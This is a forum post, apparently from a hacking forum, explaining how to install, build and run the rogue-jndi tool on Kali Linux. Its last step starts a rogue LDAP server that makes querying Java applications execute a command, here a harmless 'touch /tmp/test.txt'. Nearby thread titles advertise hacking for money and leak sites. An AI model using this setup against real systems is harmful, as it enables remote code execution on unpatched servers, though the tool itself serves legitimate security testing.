How to Install Rogue-jndi on Kali Linux
by gymertips - Sunday April 14, 2024 at 01:42 PM
#1
Steps to install Rogue-jndi on Kali Linux:

1. **Install Maven**: If Maven is not already installed, you can install it using the following commands:
  ```
  sudo apt-get update
  sudo apt-get install maven
  ```
  You'll need to press 'y' to confirm the installation.

2. **Clone the rogue-jndi repository**: Navigate to the Desktop and clone the rogue-jndi repository from GitHub:
  ```
  cd Desktop
  git clone https://github.com/veracode-research/rogue-jndi.git
  cd rogue-jndi
  ```

3. **Build the rogue-jndi project**: Inside the `rogue-jndi` folder, run the following command to build the project:
  ```
  mvn package
  ```
  This command will create a `target` folder containing the JAR file (`RogueJndi-1.1.jar`) needed for execution.

4. **Run rogue-jndi**: You can run rogue-jndi and see usage instructions using the following command:
  ```
  java -jar target/RogueJndi-1.1.jar -h
  ```

5. **Start the vulnerable LDAP server**: To start the LDAP server with specific parameters (such as the command to execute and the hostname), use a command similar to the following:
  ```
  java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"
  ```
  This command starts the LDAP server and specifies a command to create a text file on the system when an LDAP query is received.

Following these steps should set up and run the rogue-jndi tool on your system. Let me know if you need further assistance!
Reply
#2
nice are you on tg?thanks m8 this is gr8
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] OSCP, OSEP, eWPTX, eCPPT, SANS, OSWE Courses rastamice3 240 6,124 28 minutes ago
Last Post: NoobVendeta5
  ⭐ ULTIMATE OPSEC GUIDE USED BY ISRAELI & CHINESE HACKER ⭐ Jimbo 3,568 218,571 32 minutes ago
Last Post: NoobVendeta5
  FREE UNLIMITED FOLLOWERS , LIKES , SUBSCRIBERS ON SOCIAL MEDIA loaded 341 20,654 3 hours ago
Last Post: Usercomplex
  How to make money with hacking ssrf 1,248 83,143 4 hours ago
Last Post: zjoporojecz108
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,111 195,097 4 hours ago
Last Post: subrsp

Forum Jump:


 Users browsing this forum: 1 Guest(s)